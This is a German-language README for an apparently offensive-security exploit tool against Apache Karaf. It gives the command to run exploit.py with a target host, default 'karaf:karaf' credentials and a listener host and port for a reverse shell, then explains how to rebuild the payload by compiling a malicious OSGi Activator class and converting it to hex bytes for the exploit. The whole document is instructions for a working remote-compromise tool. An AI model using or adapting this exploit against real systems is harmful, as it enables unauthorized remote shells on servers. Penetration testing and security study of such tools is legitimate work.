offsec-karaf-exploits

Verwendung:

python exploit.py --help

Beispiel:

python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf

Payload neu erstellen

Felix Framework einrichten

1. Erstelle das lib-Verzeichnis

mkdir -p ./revshell/lib

2. Lade Felix Framework 7.0.5 herunter
3. Entpacke das ZIP-Archiv
4. Kopiere die Datei org.apache.felix.main.distribution-7.0.5/bin/felix.jar nach ./revshell/lib/felix.jar

Activator-Klasse generieren

cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java

Hex-Werte ermitteln

Die Hex-Werte bilden die Reverse Shell im Exploit

./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class

Ressourcen

Felix Framework